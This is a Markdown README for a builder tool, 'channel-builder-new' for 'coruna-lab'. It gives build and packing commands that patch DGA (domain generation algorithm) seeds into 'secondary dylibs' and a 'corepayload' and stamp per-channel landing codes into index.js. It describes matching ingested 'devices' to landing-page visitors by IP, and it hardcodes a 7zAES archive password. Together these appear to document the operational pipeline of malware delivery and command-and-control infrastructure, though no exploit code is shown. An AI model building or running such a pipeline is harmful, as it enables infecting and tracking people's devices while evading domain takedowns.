hashbro
74 lines
2.5 KiB
Markdown
74 lines
2.5 KiB
Markdown
# channel-builder-new
|
||
|
||
xxbb / weifile builder for coruna-lab. Separate from `channel-builder/`
|
||
(lab `web/` + `sync/` layout).
|
||
|
||
`c` is a **shared DGA seed** (env `XXBB_CHANNEL_C`). After deploy, domains do
|
||
not change, so `c` cannot tell channels apart. Per-channel identity is the
|
||
8-char landing code (e.g. `FAFA9988`) packed into `index.js`.
|
||
|
||
## 1. Build once (shared artifacts)
|
||
|
||
```bash
|
||
cd channel-builder-new
|
||
python3 -m venv .venv
|
||
.venv/bin/pip install -r requirements.txt
|
||
|
||
# specified c
|
||
.venv/bin/python tools/build.py --channel-c <32-hex> --apply --force
|
||
|
||
# or random c
|
||
.venv/bin/python tools/build.py --random-c --apply --force
|
||
|
||
# or from Laravel (uses XXBB_CHANNEL_C when set)
|
||
php artisan xxbb:build
|
||
php artisan xxbb:build --random-c
|
||
php artisan xxbb:build --channel-c=<32-hex>
|
||
```
|
||
|
||
Writes:
|
||
|
||
- `{artifact-root}/details/` (default `../public/details`) — **published**
|
||
- `{state-root}/out/weifile/` (default `storage/app/channel-builder-new/out/weifile`) — **staged, not moved to public**
|
||
|
||
`index.js` `https://[placeholder].icu` is replaced with **DGA(`c`)[0]**.
|
||
`CACACACA` is left in place for per-channel packing.
|
||
|
||
Prints `XXBB_CHANNEL_C=…` and the domain list. Put that `c` in `.env` so
|
||
device ingest can recognize the shared native field.
|
||
|
||
Do **not** change the 7zAES password `202800cfb1ad3de68e11239dcc26c30b`.
|
||
|
||
## 2. Pack on channel create
|
||
|
||
Admin create (8-char id) runs `tools/pack_channel.py`:
|
||
|
||
1. Copy staged weifile
|
||
2. Replace `CACACACA` in `index.js` with the channel id
|
||
3. Zip to `public/channel-source-new/{CHANNELID}.zip`
|
||
|
||
```bash
|
||
.venv/bin/python tools/pack_channel.py \
|
||
--channel-code FAFA9988 \
|
||
--zip-out ../public/channel-source-new/FAFA9988.zip
|
||
```
|
||
|
||
If staged weifile is missing: run step 1 first (`php artisan xxbb:build`).
|
||
|
||
Delete a new channel removes that zip only (shared `/details` stays).
|
||
|
||
## Device attribution
|
||
|
||
- **Old channels:** payload `c` is the 32-hex `channel_id`
|
||
- **New channels:** payload `c` is the shared seed. On device create, match
|
||
`PageVisit` by IP in the last 30 minutes (`XXBB_VISIT_MATCH_MINUTES`). Use
|
||
that visit’s `channelCode` as `channel_id`, and store the landing domain on
|
||
`devices.source_domain`.
|
||
|
||
| Flag | What it replaces | Where |
|
||
|------|------------------|--------|
|
||
| `--deployment-seed` | DGA seed slot | secondary dylibs (1 hit each) |
|
||
| `--reporting-seed` | Reporting DGA seed slot | secondary dylibs (1 hit each) |
|
||
| `--channel-c` | Native report / DGA `c` | each secondary (1) + corepayload (6) |
|
||
| `--random-c` | Generate a new `--channel-c` | lab_seeds.json + domains |
|